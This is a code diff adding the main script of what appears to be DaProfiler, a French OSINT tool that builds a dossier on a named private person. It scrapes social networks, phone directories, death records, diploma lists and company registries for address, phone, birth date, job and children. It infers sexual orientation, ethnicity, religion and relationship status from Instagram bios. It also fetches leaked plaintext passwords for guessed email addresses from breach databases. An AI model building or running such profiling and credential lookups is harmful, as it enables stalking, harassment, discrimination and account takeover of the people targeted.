+ facebook_results = facebook_search.facebook_search(name=name,pren=pren)
+ except:
+ facebook_results = None
+
+ try:
+ twitter_results = twitter_search.twitter_search(name=name,pren=pren)
+ except:
+ twitter_results = None
+
+ try:
+ official_linkedin_search_results = linkedin_search.official_linkedin_search(pren=pren,name=name)
+ except:
+ official_linkedin_search_results = None
+
+ try:
+ avis_deces_results = death_records.death_search(name=name,pren=pren)
+ except:
+ avis_deces_results = None
+
+ try:
+ bfmtv_results = dirigeants_bfmtv.bfmtv_search(name=name,pren=pren)
+ except:
+ bfmtv_results = None
+
+
+ try:
+ instagram_results = instagram_search.ig_search(name=name,pren=pren)
+ except:
+ instagram_results = None
+
+ try:
+ skype_results = skype_search.skype_searchh(name=name,pren=pren)
+ except:
+ skype_results = None
+
+ try:
+ diplome_bac = last_diplomes.last_diplomes_bac(name=name,pren=pren)
+ except:
+ diplome_bac = None
+
+ try:
+ if zip_code is not None:
+ pagesblanche = pagesblanches_search.adresse_search(name=name,pren=pren,zipc=str(zip_code))
+ else:
+ pagesblanche = pagesblanches_search.adresse_search(name=name,pren=pren,zipc=None)
+ except:
+ pagesblanche = None
+
+
+ try:
+ linkedin_results = linkedin_search.linkedin_search(name=name,pren=pren)
+ except:
+ linkedin_results = None
+
+ soundcloud.webdriver_usage(name=name,pren=pren)
+ wattpad_results = wattpad_search.wattpad_module(pren,name)
+ possible_mail = mail_gen.check(name=name,pren=pren)
+ skype2mail = mail_gen.skype2email(name=name,pren=pren)
+ pin2mail = mail_gen.pinterest2email(name=name,pren=pren)
+ elif len(pren) and len(name) == 0:
+ linkedin_results = None
+ facebook_results = None
+ twitter_results = None
+ avis_deces_results = None
+ bfmtv_results = None
+ instagram_results = None
+ copainsdavant_results = None
+ skype_results = None
+ pagesblanche = None
+ possible_mail = None
+ skype2mail = None
+ pren = ""
+ name = ""
+ else:
+ linkedin_results = None
+ facebook_results = None
+ twitter_results = None
+ avis_deces_results = None
+ bfmtv_results = None
+ instagram_results = None
+ copainsdavant_results = None
+ skype_results = None
+ pagesblanche = None
+ possible_mail = None
+ skype2mail = None
+ pren = ""
+ name = ""
+except TypeError:
+ linkedin_results = None
+ facebook_results = None
+ twitter_results = None
+ avis_deces_results = None
+ bfmtv_results = None
+ instagram_results = None
+ copainsdavant_results = None
+ skype_results = None
+ pagesblanche = None
+ possible_mail = None
+ skype2mail = None
+ pren = ""
+ name = ""
+
+average_age = []
+
+
+tree = Tree()
+tree.create_node(f"{pren} {name}", 1)
+data_export['Name'] = pren
+data_export['LastName'] = name
+
+try:
+ diplome_bac = last_diplomes.last_diplomes_bac(name=name,pren=pren)
+except:
+ diplome_bac = None
+
+# Daprofiler check les deces
+if avis_deces_results is not None:
+ tree.create_node("Death Records",41518181871541514778,parent=1)
+ for i in avis_deces_results[:5]:
+ tree.create_node('{} | {}\t| {}'.format(i['Age'],i['Name'],i['Loc']),parent=41518181871541514778)
+ data_export['DeathRecords']['Exists'] = True
+ data_export['DeathRecords']['Records'] = avis_deces_results[:5]
+ try:
+ average_age.append(int(i['Age']))
+ except ValueError:
+ pass
+
+# Daprofiler check les linkedin
+if linkedin_results is not None:
+ tree.create_node('LinkedIN Profile',15418911611515145145,parent=1)
+ tree.create_node(linkedin_results,parent=15418911611515145145)
+try:
+ if official_linkedin_search_results is not None:
+
+ Loc = official_linkedin_search_results['Loc']
+ job = official_linkedin_search_results['Job']
+ email = official_linkedin_search_results['email']
+ urnid = official_linkedin_search_results['urnid']
+ url = official_linkedin_search_results['url']
+ twitters = official_linkedin_search_results['twitters']
+ birthdate = official_linkedin_search_results['birthdate']
+ phone_numbers = official_linkedin_search_results['phone_numbers']
+
+ tree.create_node('LinkedIN (Via API)',15458156411556562162,parent=1)
+ tree.create_node(f'UrnID : {urnid}',5151515155,parent=15458156411556562162)
+ tree.create_node(f'Url : {url}',55185514542335,parent=15458156411556562162)
+ if len(twitters) > 0:
+ tree.create_node('Twitters',25848145481514,parent=15458156411556562162)
+ for i in twitters:
+ tree.create_node(i,parent=25848145481514)
+ else:
+ pass
+ if len(phone_numbers) > 0:
+ tree.create_node('Phone Numbers',28945181781,parent=15458156411556562162)
+ for i in phone_numbers:
+ tree.create_node(i,parent=28945181781)
+ else:
+ pass
+ if Loc != False:
+ tree.create_node(f'Location : {Loc}',4561561510515656,parent=15458156411556562162)
+ if job is not None:
+ tree.create_node(f'Job : {job}',511515,parent=15458156411556562162)
+ if birthdate is not None:
+ tree.create_node(f'Birth Date : {birthdate}',5881981648,parent=1058151514851)
+ if email is not None:
+ tree.create_node(f'Email : {str(email)}',parent=15458156411556562162)
+ data_export['LinkedIN']['Exist'] = True
+ data_export['LinkedIN']['Job'] = job
+ data_export['LinkedIN']['urnid' ] = urnid
+ data_export['LinkedIN']['Url'] = url
+ data_export['LinkedIN']['Twitters'] = twitters
+ data_export['LinkedIN']['Birthdate'] = birthdate
+ data_export['LinkedIN']['PhoneNumbers'] = phone_numbers
+except:
+ pass
+if pagesblanche is not None:
+ personnal_life.append('.')
+ full_name = pagesblanche['Name']
+ adress = pagesblanche['Adress']
+ phone = pagesblanche['Phone']
+ sure_status = pagesblanche['Not_Sure']
+
+ data_export['AdressPhone']['Not_Sure'] = sure_status
+ data_export['AdressPhone']['Exists'] = True
+ data_export['AdressPhone']['FullName'] = full_name
+ data_export['AdressPhone']['Phone'] = phone
+ data_export['AdressPhone']['Adress'] = adress
+ if sure_status == True:
+ tree.create_node("Adress - Phone",2,parent=1)
+ else:
+ tree.create_node("Adress - Phone (You must verify this information)",2,parent=1)
+ tree.create_node("Full Name : {}".format(full_name),22,parent=2)
+ tree.create_node("Adress : {}".format(adress),33,parent=2)
+ tree.create_node("Phone : {}".format(phone),44,parent=2)
+ if pagesblanche['carrier'] is not None:
+ tree.create_node('Carrier : {}'.format(pagesblanche['carrier']),894,parent=44)
+ if pagesblanche['Loc_phone'] is not None:
+ tree.create_node('Localisation : {}'.format(pagesblanche['Loc_phone']),55,parent=44)
+ data_export['AdressPhone']['PhoneLocation'] = pagesblanche['Loc_phone']
+ if pagesblanche['Type_tel'] is not None:
+ tree.create_node('Type : {}'.format(pagesblanche['Type_tel']),66,parent=44)
+
+if diplome_bac is not None:
+ if diplome_bac['Exists'] == True:
+ tree.create_node('DIPLOME BAC',58,parent=1)
+ tree.create_node('Bac : '+diplome_bac['Diplome'],848151541514,parent=58)
+ tree.create_node('Academy : '+diplome_bac['academie'],848151241514,parent=58)
+ tree.create_node('Mention : '+diplome_bac['mention'],848151341514,parent=58)
+ tree.create_node('City : '+diplome_bac['ville'],848151641514,parent=58)
+ tree.create_node('Source : '+diplome_bac['Link'],45994851726,parent=58)
+
+ data_export['Diploma_Bac']['Exists'] = True
+ data_export['Diploma_Bac']['Academie'] = diplome_bac['academie']
+ data_export['Diploma_Bac']['Mention'] = diplome_bac['mention']
+ data_export['Diploma_Bac']['City'] = diplome_bac['ville']
+ data_export['Diploma_Bac']['Diplome'] = diplome_bac['Diplome']
+ data_export['Diploma_Bac']['Link'] = diplome_bac['Link']
+
+# Daprofiler check les copains davant
+if copainsdavant_results is not None:
+ personnal_life.append('.')
+ data_export['CopainsDavant']['Exists'] = True
+ try:
+ tree.create_node("Copains d'avant",3,parent=1)
+ tree.create_node('Full Name : {}'.format(copainsdavant_results['full_name']),77,parent=3)
+ tree.create_node('Born Date : {}'.format(copainsdavant_results['born']),88,parent=3)
+ tree.create_node('Location : {}'.format(copainsdavant_results['localisation']),99,parent=3)
+ tree.create_node('Url : {}'.format(copainsdavant_results['url_full']),111,parent=3)
+
+ data_export['CopainsDavant']['FullName'] = copainsdavant_results['full_name']
+ data_export['CopainsDavant']['BornDate'] = copainsdavant_results['born']
+ data_export['CopainsDavant']['ProfileUrl'] = copainsdavant_results['url_full'].replace('https://','')
+ data_export['CopainsDavant']['Location'] = copainsdavant_results['localisation']
+
+ if copainsdavant_results['Other_locations'] is not None:
+ chars = "abcdefghijklmnopqrstuvwxyz1234567890"
+ number_sk = random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)
+ tree.create_node('Other Locations',number_sk,parent=3)
+ for i in copainsdavant_results['Other_locations']:
+ if i != copainsdavant_results['localisation']:
+ tree.create_node(i,parent=number_sk)
+ data_export['CopainsDavant']['OtherLocations'] = copainsdavant_results['Other_locations']
+ if copainsdavant_results['pdp'] != "None":
+ try:
+ tree.create_node('Profile Picture : {}'.format(copainsdavant_results['pdp']),151515454545,parent=3)
+ data_export['CopainsDavant']['ProfilePicUrl'] = copainsdavant_results['pdp'].replace('https://','')
+ except:
+ pass
+ if copainsdavant_results['Job'] != "None":
+ try:
+ tree.create_node('Job : {}'.format(copainsdavant_results['Job']),154156132489411,parent=3)
+ data_export['CopainsDavant']['Job'] = copainsdavant_results['Job']
+ except:
+ pass
+ if copainsdavant_results['familial_situation'] != "None":
+ try:
+ tree.create_node('Familial Situation : {}'.format(copainsdavant_results['familial_situation'].strip()),44984154114515,parent=3)
+ data_export['CopainsDavant']['FSituation'] = copainsdavant_results['familial_situation']
+ except:
+ pass
+ if copainsdavant_results['nb_enfants'] != "None":
+ try:
+ tree.create_node('Number of kids : {}'.format(copainsdavant_results['nb_enfants']),1654518948741,parent=3)
+ data_export['CopainsDavant']['NbKids'] = copainsdavant_results['nb_enfants']
+ except:
+ pass
+ except TypeError:
+ pass
+
+# Daprofiler check BFMtv
+if bfmtv_results is not None:
+ personnal_life.append('.')
+ data_export['Work']['Exists'] = True
+ data_export['Work']['FullName'] = bfmtv_results['full_name']
+ data_export['Work']['BornDate'] = bfmtv_results['naissance']
+ data_export['Work']['Company'] = bfmtv_results['company']
+ data_export['Work']['Function'] = bfmtv_results['fonction']
+ data_export['Work']['Warrant'] = bfmtv_results['mandats']
+ data_export['Work']['Link'] = bfmtv_results['link'].replace('https://','')
+ data_export['Work']['Capital'] = bfmtv_results['Capital']
+ data_export['Work']['Desc'] = bfmtv_results['Desc']
+
+ tree.create_node("Work - Job",4,parent=1)
+ tree.create_node('Full Name : {}'.format(bfmtv_results['full_name']),222,parent=4)
+ tree.create_node('Born Date : {}'.format(bfmtv_results['naissance']),333,parent=4)
+ tree.create_node('Adress : {}'.format(bfmtv_results['addr']),888,parent=4)
+ tree.create_node('Company : {}'.format(bfmtv_results['company']),777,parent=4)
+ tree.create_node('Desc : {}'.format(bfmtv_results['Desc']),78285,parent=4)
+ tree.create_node('Capital : {}'.format(bfmtv_results['Capital']),84566,parent=4)
+ tree.create_node('Link : {}'.format(bfmtv_results['link']),666,parent=4)
+ tree.create_node('Function : {}'.format(bfmtv_results['fonction']),444,parent=4)
+ tree.create_node('Warrant : {}'.format(bfmtv_results['mandats']),555,parent=4)
+# Daprofiler check twitter
+if twitter_results is not None:
+ social_medias.append('.')
+ data_export['Twitter']['Exists'] = True
+ data_export['Twitter']['Accounts'] = twitter_results
+ tree.create_node('Twitters',665847555858,parent=1)
+ for i in twitter_results:
+ temp = []
+ chars = "abcdefghijklmnopqrstuvwxyz1234567890"
+ number_sk = random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)
+ domain_list = ['@gmail.com','@hotmail.fr','@hotmail.com','@orange.fr','@outlook.com','@outlook.fr']
+ for domain in domain_list:
+ a = mail_check.verify(i.replace('@','')+domain)
+ if a == "True":
+ temp.append(i.replace('@','').lower()+domain)
+ if len(temp) == 0:
+ tree.create_node(i,parent=665847555858)
+ else:
+ tree.create_node(i,number_sk,parent=665847555858)
+ for temp_mail in temp:
+ tree.create_node(temp_mail,parent=number_sk)
+# Daprofiler check skype
+if skype_results is not None:
+ social_medias.append('.')
+ data_export['Skype']['Exists'] = True
+ data_export['Skype']['AccountList'] = skype_results
+ if len(skype_results) == 0:
+ pass
+ else:
+ tree.create_node("Skype",6,parent=1)
+ tree.create_node("Accounts : {}".format(str(len(skype_results))),12,parent=6)
+ for i in skype_results:
+ chars = "abcdefghijklmnopqrstuvwxyz1234567890"
+ number_sk = random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)
+ tree.create_node(i,number_sk,parent=12)
+
+# Diploma printing
+
+try:
+ try:
+ diplomess = last_diplomes.last_diplomes_brevet(name=name,pren=pren)
+ except :
+ diplomess = None
+ if diplomess is not None:
+ tree.create_node('BREVET DES COLLEGES',452,parent=1)
+ tree.create_node('Name : {}'.format(diplomess['Name']),1816864648,parent=452)
+ tree.create_node('Diploma : {}'.format(diplomess['Diplome']),45855887,parent=452)
+ tree.create_node('Details : {}'.format(diplomess['mention']),45855847,parent=452)
+ tree.create_node('Academy : {}'.format(diplomess['academie']),45855687,parent=452)
+ tree.create_node('Location : {}'.format(diplomess['ville']),45855881,parent=452)
+ tree.create_node('Source : {}'.format(diplomess['Link']),45896472,parent=452)
+
+ data_export['Diploma_Brevet']['Name'] = diplomess['Name']
+ data_export['Diploma_Brevet']['Exists'] = True
+ data_export['Diploma_Brevet']['Academie'] = diplomess['academie']
+ data_export['Diploma_Brevet']['Mention'] = diplomess['mention']
+ data_export['Diploma_Brevet']['City'] = diplomess['ville']
+ data_export['Diploma_Brevet']['Link'] = diplomess['Link']
+except NameError:
+ pass
+# Daprofiler check instagram
+
+if instagram_results is not None:
+ if len(instagram_results) == 0:
+ pass
+ else:
+ social_medias.append('.')
+ data_export['Instagram']['Exists'] = True
+ tree.create_node("Instagram",7,parent=1)
+ tree.create_node('Accounts : {}'.format(str(len(instagram_results))),13,parent=7)
+ acc_json_list = []
+ for i in instagram_results:
+ chars = "abcdefghijklmnopqrstuvwxyz1234567890"
+ username = i
+ number_ski = random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)
+ bio_infos = instagram_search.getInstagramEmailFromBio(username)
+ tree.create_node(i,number_ski,parent=13)
+ try:
+ data = instagram_search.get_extra_data(username)
+ if data is None:
+ ob_phone = False
+ ob_mail = False
+ pass
+ else:
+ if data != {}:
+ if data['obfuscated_email'] is not None:
+ ob_mail = data['obfuscated_email']
+ tree.create_node("Obfuscated Email -> "+ob_mail,parent=number_ski)
+ else:
+ ob_mail = False
+ if data['obfuscated_phone'] is not None:
+ ob_phone = data['obfuscated_phone']
+ tree.create_node("Obfuscated Phone -> "+ob_phone,parent=number_ski)
+ else:
+ ob_phone = False
+ else:
+ ob_phone = False
+ ob_mail = False
+ finally:
+ pass
+
+ acc_json_list.append({"Username":username,'obfuscated_phone':ob_phone,'obfuscated_email':ob_mail})
+
+ bio_emails = bio_infos['emails']
+ paypal_bio = bio_infos['paypal']
+ city_loc = bio_infos['city_list']
+ is_lgbt = bio_infos['lgbt_points']
+ schoolname = bio_infos['school']
+ bestfriend = bio_infos['best_friend']
+ love_date = bio_infos['love_date']
+ age_bio = bio_infos['age']
+ ethnicity = bio_infos['origins']
+ facebook_l = bio_infos['fb_list']
+ twitter_l = bio_infos['twitter_list']
+ hobbies = bio_infos['Hobbies']
+ love_situa = bio_infos['love_situation']
+ religions = bio_infos['religions']
+ astrologys = bio_infos['astrology']
+ if love_situa is not None:
+ nnumber_ski = random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)
+ tree.create_node('Love Situation',nnumber_ski,parent=number_ski)
+ for i in love_situa:
+ tree.create_node(i,parent=nnumber_ski)
+ if astrologys is not None:
+ nnumber_ski = random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)
+ tree.create_node('Astrologic sign',nnumber_ski,parent=number_ski)
+ for i in astrologys:
+ tree.create_node(i,parent=nnumber_ski)
+ if religions is not None:
+ nnumber_ski = random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)
+ tree.create_node('Religion(s)',nnumber_ski,parent=number_ski)
+ for i in religions:
+ tree.create_node(i,parent=nnumber_ski)
+ if hobbies is not None:
+ nnumber_ski = random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)
+ tree.create_node('Hobbies',nnumber_ski,parent=number_ski)
+ for i in hobbies:
+ tree.create_node(i,parent=nnumber_ski)
+ if bestfriend is not None:
+ nnumber_ski = random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)
+ tree.create_node('Good relationship with',nnumber_ski,parent=number_ski)
+ for i in bestfriend:
+ tree.create_node('{}'.format(i),parent=nnumber_ski)
+ if is_lgbt is not None:
+ lgbt_flag = (Fore.RED+"█"+Fore.YELLOW+"█"+Fore.GREEN+"█"+Fore.BLUE+"█"+Fore.MAGENTA+"█"+Fore.RESET)
+ tree.create_node('{} LGBT Member'.format(lgbt_flag),parent=number_ski)
+ if ethnicity is not None:
+ tree.create_node('Ethnicity : {}'.format(str(ethnicity).replace('[','').replace(']','').replace("'","")),parent=number_ski)
+ if facebook_l is not None:
+ tree.create_node('Facebook : {}'.format(str(facebook_l).replace('[','').replace(']','').replace("'","")),parent=number_ski)
+ if twitter_l is not None:
+ tree.create('Twitter : {}'.format(str(twitter_l).replace('[','').replace(']','').replace("'","")),parent=number_ski)
+ if schoolname is not None:
+ tree.create_node('School Name : {}'.format(schoolname),parent=number_ski)
+ if city_loc is not None:
+ tree.create_node('City : {}'.format(city_loc[0]),parent=number_ski)
+ if paypal_bio is not None:
+ for i in paypal_bio:
+ tree.create_node('Paypal in bio -> '+i,parent=number_ski)
+ if bio_emails is not None:
+ for i in bio_emails:
+ chars = "abcdefghijklmnopqrstuvwxyz1234567890"
+ number_skkk = random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)
+ number_skk = random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)
+ tree.create_node('Email from bio -> '+Fore.CYAN+i+Fore.RESET,number_skkk,parent=number_ski)
+ data_export['Instagram']['AccountList'] = acc_json_list
+
+# Daprofiler check facebook
+if facebook_results is not None:
+ social_medias.append('.')
+ data_export['Facebook']['Exists'] = True
+ nb = str(len(facebook_results))
+ tree.create_node("Facebook",9,parent=1)
+ tree.create_node('Accounts : {}'.format(nb),10,parent=9)
+ data_export['Facebook']['AccountList'] = facebook_results
+ for i in facebook_results:
+ tree.create_node(i,parent=10)
+
+# Daprofiler generate Possible Email
+if possible_mail is not None:
+ if len(possible_mail) != 0 or len(skype2mail) != 0 or pin2mail is not None:
+ tree.create_node('Emails extracted',146,parent=1)
+ if skype2mail is not None:
+ tree.create_node('[++] High probability',142,parent=146)
+ no_doubles = []
+ for i in skype2mail:
+ if i not in no_doubles:
+ chars = "abcdefghijklmnopqrstuvwxyz1234567890"
+ number = random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)
+ no_doubles.append(i)
+ tree.create_node(i,number,parent=142)
+ # GETTING LEAKED PASSWORDS FROM SCYLLA.SH -> \modules\scylla_sh.py
+ scylla_results = scylla_sh.scylla_search(email=i)
+ if scylla_results is not None:
+ tree.create_node('Leaked From : Scylla.sh',1518451,parent=number)
+ for i in scylla_results:
+ chars = "abcdefghijklmnopqrstuvwxyz1234567890"
+ number = random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)
+ tree.create_node('Leak Name : {}'.format(i['Name']),parent=1518451)
+ tree.create_node('Password : {}'.format(i['Password']),parent=1518451)
+ # GET LEAKED PASSWORDS FROM LEAKCHET.NET API -> \api_modules\leakcheck_net.py
+ a = leakcheck_net.leak_check_api(mail=i)
+ if a is not None:
+ chars = "abcdefghijklmnopqrstuvwxyz1234567890"
+ number_pass = random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)+random.choice(chars)
+ tree.create_node("Leaked Creditentials",number_pass,parent=number)
+ for i in a:
+ password = i['password']
+ leak_name = i['leak_name']
+ leak_date = i['leak_date']
+ tree.create_node('Password : {}'.format(password),parent=number_pass)
+ tree.create_node('Leak Name : {}'.format(leak_name),parent=number_pass)
+ tree.create_node('Leak Date : {}'.format(leak_date),parent=number_pass)
+ data_export['Emails']['HighProbEmails'] = no_doubles
+ nb= str((len(possible_mail)))
+ if pin2mail is not None:
+ tree.create_node('[+++] Very high probability',45451451545545155154,parent=146)
+ for i in pin2mail:
+ tree.create_node('-> '+Fore.RED+i+Fore.RESET+" (Scraped from pinterest profile)",parent=45451451545545155154)
+ if int(nb) != 0:
+ tree.create_node("("+nb+") Possible Mailbox",8,parent=146)
+ data_export['Emails']['PermutatedMailbox'] = possible_mail
+ for i in possible_mail:
+ tree.create_node(i,parent=8)
+print("✅ Ready to be consulted !")
+print('\n')
+# For data Analyzation
+data_export['UI']['Pie']['PersonnalLife'] = len(personnal_life)
+data_export['UI']['Pie']['SocialMedias'] = len(social_medias)
+try:
+ data_export['UI']['Bar']['TwitterFounds'] = len(twitter_results)
+except TypeError:
+ data_export['UI']['Bar']['TwitterFounds'] = 0
+try:
+ data_export['UI']['Bar']['InstagramFounds'] = len(instagram_results)
+except TypeError:
+ data_export['UI']['Bar']['InstagramFounds'] = 0
+try:
+ data_export['UI']['Bar']['FacebookFounds'] = len(facebook_results)
+except TypeError:
+ data_export['UI']['Bar']['FacebookFounds'] = 0
+try:
+ data_export['UI']['Bar']['SkypeFounds'] = len(skype_results)
+except TypeError:
+ data_export['UI']['Bar']['SkypeFounds'] = 0
+
+if json_print == "true" or json_print == "yes" or json_print == "oui":
+ print('-- JSON START --')
+ print(data_export)
+ print('-- JSON END --')
+else:
+ tree.show()
+
+data_file.close()
+try:
+ with open(f'Reports/{folder_name}/{name}_{pren}.json','w',encoding='utf8') as f:
+ json.dump(data_export,f,indent=4,ensure_ascii=False)
+ f.close()
+except FileNotFoundError:
+ os.mkdir('Reports')
+ with open(f'Reports/{folder_name}/{name}_{pren}.json','w',encoding='utf8') as f:
+ json.dump(data_export,f,indent=4,ensure_ascii=False)
+ f.close()
diff --git a/Python Tools/OSINT tool/requirements.txt b/Python Tools/OSINT tool/requirements.txt
new file mode 100644
index 0000000..2c20d39
--- /dev/null
+++ b/Python Tools/OSINT tool/requirements.txt
@@ -0,0 +1,15 @@
+requests
+bs4
+selenium
+colorama
+googlesearch-python
+treelib
+leakcheck
+update_check
+httpx
+tqdm
+linkedin-api~=2.0.0a
+statistics
+python-socketio
+numpy
+opencv-python